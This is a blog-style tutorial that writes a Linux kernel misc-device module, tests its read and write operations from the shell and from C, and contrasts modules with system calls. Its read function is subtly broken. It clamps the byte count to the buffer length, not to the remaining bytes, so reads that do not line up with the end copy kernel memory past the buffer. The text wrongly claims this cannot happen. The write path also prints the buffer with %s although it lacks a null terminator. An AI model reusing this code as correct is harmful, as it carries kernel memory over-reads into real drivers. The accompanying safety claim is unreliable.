<p>The prototype is fixed by the kernel: <code>f</code> is the file descriptor for the device, <code>s</code> is the user-land pointer to the data the caller wrote, <code>n</code> is how many bytes they offered, and <code>o</code> is the current offset into the file. We reject null pointers, insist on exactly <code>LEN</code> bytes, and then pull the data across the boundary with <code>copy_from_user</code>, the mirror image of the <code>copy_to_user</code> we used in the syscall. It copies <code>LEN</code> bytes from the user pointer <code>s</code> into our kernel buffer <code>buf</code> and returns zero on success.</p>
<div class="admonition warning">
<p>Return the right byte count. Returning <code>0</code> from a write or read tells the caller nothing happened, and many programs will simply call again, spinning the function forever. It is easy to lock up the kernel this way (unless you are quick with an <code>rmmod</code>).</p>
</div>
<h3 id="the-read-operation">The read operation</h3>
<pre><code class="language-c">static ssize_t hello_read(struct file *f, char __user *s, size_t n, loff_t *o)
{
    if (!f || !s || !o)
        return -EFAULT;
    if (*o &gt;= LEN)
        return 0;
    if (n &gt; LEN)
        n = LEN;
    if (copy_to_user(s, &amp;buf[*o], n))
        return -EFAULT;

    *o += n;

    return n;
}
</code></pre>
<p>The checks mirror the write path, with one addition that carries the whole design: the offset <code>*o</code>. When the reader has consumed everything, we must return <code>0</code> to signal end of data, and we decide that by comparing the offset against <code>LEN</code>. We also clamp <code>n</code> so a caller can never read past what we stored. Then we copy from <code>buf[*o]</code> (not from the start), advance the offset by the number of bytes sent, and return that count.</p>
<p>Why bother with the offset at all, rather than copying the whole string in one shot? Because <code>cat</code> is not the only reader. Run <code>cat</code> on the device and it requests a large page, far more than our ten bytes, so a single copy would satisfy it. But a program can issue <code>read()</code> directly, asking for two bytes at a time, and a real buffer could be larger than one page. If a caller asks for fewer bytes than we hold, the offset is what lets us resume from where the last read stopped. Chain enough <code>read()</code> calls and the caller recovers the entire buffer, no matter how small each request is.</p>
<h3 id="testing-it">Testing it</h3>
<p>The final module, with <code>LEN</code> and the static buffer defined:</p>
<pre><code class="language-c">#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/miscdevice.h&gt;
#include &lt;linux/uaccess.h&gt;
#include &lt;linux/fs.h&gt;

MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Sigreturn Labs&quot;);
MODULE_DESCRIPTION(&quot;Hello World module&quot;);

#define LEN 10

static struct miscdevice my_dev;
static char buf[LEN];

static ssize_t hello_write(struct file *f, const char __user *s, size_t n, loff_t *o)
{
    int retval = -EINVAL;

    if (!f || !s)
        return -EFAULT;
    if (n != LEN)
        return -EINVAL;

    retval = copy_from_user(buf, s, LEN);

    if (retval)
        return -EFAULT;

    printk(KERN_INFO &quot;I have successfully written %s in buffer.&quot;, buf);

    return LEN;
}

static ssize_t hello_read(struct file *f, char __user *s, size_t n, loff_t *o)
{
    if (!f || !s || !o)
        return -EFAULT;
    if (*o &gt;= LEN)
        return 0;
    if (n &gt; LEN)
        n = LEN;
    if (copy_to_user(s, &amp;buf[*o], n))
        return -EFAULT;

    *o += n;

    return n;
}

struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};

static int __init hello_init(void) {
    int ret;

    printk(KERN_INFO &quot;Hello World !\n&quot;);

    my_dev.minor = MISC_DYNAMIC_MINOR;
    my_dev.name = &quot;my_module_misc&quot;;
    my_dev.fops = &amp;my_fops;
    ret = misc_register(&amp;my_dev);

    return ret;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO &quot;Cleaning up module.\n&quot;);
    misc_deregister(&amp;my_dev);
}

module_init(hello_init);
module_exit(hello_cleanup);
</code></pre>
<p>Compile, load, grant write access to the device, and exercise it with ordinary shell tools:</p>
<pre><code>make # compilation

sudo insmod my_module.ko # loading the module

sudo chmod o+w /dev/my_module_misc # writing rights

ls -l /dev/my_module_misc # verification

sudo echo -n &quot;1234567890&quot; &gt; /dev/my_module_misc # writing 10 bytes in our buffer

dmesg # verification : [316644.720207] I have successfully written 1234567890 in buffer.

sudo cat /dev/my_module_misc # reading the buffer : 1234567890
</code></pre>
<p><code>echo</code> writes ten bytes and <code>cat</code> reads them back. Now the part that justified the offset: a program that reads two bytes at a time.</p>
<pre><code class="language-c">#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;

int main(void)
{
    char buf[10];
    int fd = open(&quot;/dev/my_module_misc&quot;, O_RDONLY);
    while (read(fd, buf, 2)) {
        buf[2] = 0;
        printf(&quot;%s\n&quot;, buf);
    }
}
</code></pre>
<pre><code>$ gcc test.c -o test
$ sudo ./test
12
34
56
78
90
</code></pre>
<p>Five chained <code>read()</code> calls, two bytes each, and the whole buffer comes back in order. The offset did its job.</p>
<h2 id="two-mechanisms-one-boundary">Two mechanisms, one boundary</h2>
<p>We reached ring 0 from ring 3 twice, by two routes that could hardly be more different in how they get there, yet end at the same place: user-land code running our privileged code and getting a result back across the boundary.</p>
<table>
<thead>
<tr>
<th></th>
<th>System call</th>
<th>Kernel module</th>
</tr>
</thead>
<tbody>
<tr>
<td>Entry point</td>
<td>Static, in the kernel image</td>
<td>Dynamic, loaded at runtime</td>
</tr>
<tr>
<td>Build</td>
<td>Recompile the whole kernel</td>
<td>Compile one <code>.ko</code> against headers</td>
</tr>
<tr>
<td>Activation</td>
<td>Reboot into the new kernel</td>
<td><code>insmod</code>, undone by <code>rmmod</code></td>
</tr>
<tr>
<td>Addressed by</td>
<td>A fixed syscall number</td>
<td>A path under <code>/dev</code> (misc device)</td>
</tr>
<tr>
<td>User/kernel transfer</td>
<td><code>copy_to_user</code> / <code>copy_from_user</code></td>
<td><code>copy_to_user</code> / <code>copy_from_user</code></td>
</tr>
<tr>
<td>Risk</td>
<td>Can leave the machine unbootable</td>
<td>A fault crashes the kernel until reboot</td>
</tr>
</tbody>
</table>
<p>The last two rows are the point. The syscall got its <code>/dev</code>-free front door for free, handed to it by the syscall table. The module had to build one, and once it did, the user/kernel transfer looked identical: the same <code>copy_to_user</code> and <code>copy_from_user</code>, the same careful byte accounting, the same negative-errno discipline. A misc device is a module reconstructing, by hand, the boundary crossing a system call is given.</p>
<p>That symmetry is also why both mechanisms are worth understanding for anyone working on the offensive or defensive side of a Linux system. The syscall table is a fixed, well-known target. Loadable modules are the canonical foothold for ring 0 persistence, and the <code>copy_to_user</code> / <code>copy_from_user</code> boundary is exactly where kernel code mishandles untrusted user input. Build both once, deliberately, and that attack surface stops being abstract.</p>]]></description>
    </item>
  </channel>
</rss>
